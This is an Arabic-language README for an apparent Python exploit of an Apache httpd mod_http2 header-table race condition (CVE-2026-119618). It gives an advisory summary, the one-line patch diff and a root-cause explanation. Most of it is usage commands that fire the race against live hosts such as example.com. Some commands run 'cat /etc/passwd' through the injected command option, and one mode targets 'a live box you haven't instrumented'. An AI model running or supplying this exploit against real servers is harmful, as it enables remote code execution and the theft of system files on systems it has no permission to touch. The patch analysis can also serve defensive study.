استغلال HTTP/2 بلغة Python للثغرة CVE-2026-119618، وهي حالة تسابق في ترويسات الطلب في mod_http2 تؤدي إلى تلف الكومة وتنفيذ تعليمات عن بُعد (RCE) في Apache httpd 2.4.55–2.4.70، مع بيئة اختبار Docker.
التنفيذ المتزامن باستخدام مورد مشترك مع مزامنة غير سليمة (CWE-362) في جدول رؤوس طلبات HTTP/2 ← تلف الكومة ← تنفيذ تعليمات برمجية عن بُعد (RCE).
| CVSS | 9.8 (حرج) |
| الإصدارات المصابة | httpd 2.4.55 – 2.4.70، وmod_h2 المستقل 2.0.8 – 2.0.42 |
| تم الإصلاح في | httpd 2.4.71 (صدر في 2026-11-11) |
| التصحيح في المستودع الأصلي | 824beab (2.4.x) / 5ed3928 (trunk) — mod_http2: assign_headers update table (#975) (#977) |
| المكتشفون | Anthropic OSS Scanner (ANT-2026-MAPKT6MZ)، Google Cloud VRP (Weems / Scannell) |
سطر واحد في modules/http2/h2_request.c، داخل assign_headers():
--- a/modules/http2/h2_request.c
+++ b/modules/http2/h2_request.c
@@ -350,7 +350,7 @@ static void assign_headers(request_rec *r, const h2_request *req,
/* If we have a content-type, but already seen eos, no more
* data will come. Signal a zero content length explicitly.
*/
- apr_table_setn(req->headers, "Content-Length", "0");
+ apr_table_setn(r->headers_in, "Content-Length", "0");
الفرق الكامل المحفوظ: references/824beab_mod_http2_assign_headers.patch.
لا يُنفَّذ الفرع الثغري إلا عندما تتحقق جميع الشروط التالية لطلب واحد:
CONNECT؛Content-Length؛Content-Type؛no_body صحيحة — أي أن العميل أرسل بالفعل END_STREAM دون إطار DATA
(no_body == conn_ctx->beam_in == NULL، أي أن جسم الطلب لم يُخزَّن في المخزن المؤقت قط
لأن التدفق حمل END_STREAM عند وقت الترويسة).req->headers هو جدول ترويسات h2_request. هذا الجدول مورد مشترك بمالكين اثنين:
h2_stream_add_header() → h2_request_add_header() →
h2_request_add_header يكتب في req->headers.h2_mplx → c2_process() →
h2_create_request_rec(req, c, …) → assign_headers(r, req, no_body, …).في الشيفرة الثغرية حدثت آخر كتابة في دورة حياة الطلب —
apr_table_setn(req->headers, "Content-Length", "0") — على خيط عامل c2،
على جدول قد يكون خيط c1 لا يزال يكتب فيه (فالجلسة تواصل إرسال/تصريف الإطارات
لهذا التدفق بعد أن يكون عامل c2 قد بدأ c2_process). خيطان يعدّلان نفس apr_table_t
(إعادة تجزئة جدول التجزئة / إعادة تخصيص العناصر) دون قفل → إفساد الكومة.
أما r->headers_in، على النقيض، فيُنشأ في أعلى assign_headers() عبر
apr_table_clone(r->pool, req->headers) — نسخة جديدة لكل طلب في مجمّع عامل c2،
لا يمسّها c1 أبدًا. والإصلاح ينقل الكتابة إلى هناك ببساطة،
فيلغي الكتابة على المورد المشترك وحالة التسابق.
Content-Type، وغياب Content-Length، وضبط علم END_STREAM على
إطار HEADERS (لا يتبع ذلك جسم).apr_table_setn(req->headers, …) الثغرية بينما يمسّ خيط c1 في الوقت نفسه
نفس req->headers.apr_table → إفساد الكومة → RCE (أو DoS
إن كان الإفساد حميدًا / كانت ASLR معادية).ما يُلاحَظ على خادم حي: يتلقى التدفق RST_STREAM، أو يتلقى الاتصال GOAWAY،
أو ينقطع الاتصال في منتصف الاندفاع (انهيار). أما خادم 2.4.71 المُرقَّع فيجيب على
الطلب الواحد نفسه بشكل طبيعي — ولهذا فإن وضع --verify اختبار دخاني، بينما وضع
الاندفاع هو ما يفرض التسابق.
cve_2026_119618_exploit.py — بلغة Python خالصة،
يقود آلة حالة HTTP/2 باستخدام حزمة h2
(بلا اعتماديات C). في كل جولة يفتح اتصالًا واحدًا، ويتفاوض على h2 (ALPN) أو h2c،
ويطلق اندفاعًا كثيفًا من تدفقات triggers + flood في استدعاء sendall() واحد
بحيث تصيب جميع إطارات HEADERS (كل منها مع END_STREAM) الخادم متتالية؛
ثم يراقب ظهور RST / GOAWAY / EOF.
يعمل على أي Apache ثغري مُفعَّل فيه h2 — لا CGI مخصص، ولا إعداد خادم خاص
مطلوب. إن RST/EOF هو بصمة الإفساد؛ وعلم --cmd اختياري (لإثبات RCE على منصة
اختبار ذات نقطة نهاية RCE).
يقوم الـ exploit بفك ترميز ترويسات الاستجابة (response HEADERS) باستخدام فاكّ ترميز hpack خام (يُحتفظ به
منفصلاً عن فاكّ الترميز الداخلي لمكتبة h2، والذي يخزّن الإطارات مؤقتًا حتى يُغلق
التدفق بواسطة END_STREAM — وهو إطار غالبًا ما لا يرسله mod_h2 الخاص بـ Apache
على استجابة CGI الخاصة بإثبات RCE). وبهذه الطريقة يُلتقط إثبات RCE عبر X-Cmd-Out بشكل موثوق،
حتى عندما لا تُصدر آلة الحالة الخاصة بمكتبة h2 الحدث ResponseReceived أبدًا.
pip install h2
# h2 over TLS (most live servers). Cert verification is skipped by default
# (good for self-signed / wildcard certs); pass --cert-verify to verify.
python3 cve_2026_119618_exploit.py -H example.com -p 443 --tls \
--triggers 5 --flood 32 --rounds 500 -v
# cleartext h2c (e.g. a local test build or a server with h2c enabled)
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 8080 --h2c \
--triggers 5 --flood 32 --rounds 1000 -v
# auto-negotiate: try h2c first, fall back to h2-over-TLS
python3 cve_2026_119618_exploit.py -H example.com -p 443 --auto \
--triggers 5 --flood 32 --rounds 500 -v
# patched/vulnerable smoke test: one quiet trigger, no burst
python3 cve_2026_119618_exploit.py -H example.com -p 443 --tls --verify
# RCE proof (for a test rig with an RCE-endpoint CGI): the command is passed
# in the X-Cmd header (keeping the trigger bodyless, as the CVE requires),
# and the output is returned in the X-Cmd-Out response header.
# --extra-headers pads the trigger with dummy headers to force apr_table
# rehashes (widening the c1/c2 race window); --conns fires N parallel
# connections per wave to saturate the c2 worker pool.
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 443 --tls \
--trigger-path /cgi-bin/rce-cgi --cmd 'cat /etc/passwd' \
--triggers 10 --flood 32 --extra-headers 32 --conns 16 --rounds 200 -v
# STANDARD mode: the target is a plain Apache with NO rce-cgi / no ScriptAlias
# (a live box you haven't instrumented). Proves RCE via the corruption
# signature (RST/EOF) instead of X-Cmd-Out. The trigger and flood both hit a
# normal path (default "/").
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 8443 --tls --standard \
--triggers 10 --flood 32 --extra-headers 32 --conns 16 --rounds 500 -v
# RCE-ON-STD: ACTUAL RCE on a standard box that has its OWN body-reading
# handler (its standard /cgi-bin, SSI, PHP eval, ...). The command goes in the
# request BODY (not the X-Cmd header). The CVE's assign_headers() writes
# Content-Length:0 into the shared req->headers table, which is cloned into
# r->headers_in — so the body (carrying the command) reaches the handler, which
# echoes/executes it. Point --trigger-path at the box's body-reading handler.
python3 cve_2026_119618_exploit.py -H 127.0.0.1 -p 9443 --tls --rce-on-std \
--trigger-path /cgi-bin/echo-cgi --cmd 'cat /etc/passwd' \
--triggers 5 --flood 16 --conns 4 --rounds 30 -v
ثلاثة أنماط إثبات، حسب ما يمتلكه الهدف:
| النمط | الهدف | الإثبات | الخروج |
|---|---|---|---|
(الافتراضي، --cmd) | منصة rce-cgi | ترويسة X-Cmd-Out (مخرجات الأمر) | 1 |
--standard | Apache عادي (بدون معالج) | بصمة التلف (RST/EOF) | 1 |
--rce-on-std | Apache قياسي مع معالج قراءة الجسم الخاص به | الأمر معاد صداه في جسم الاستجابة (RCE فعلي، بدون rce-cgi) | 1 |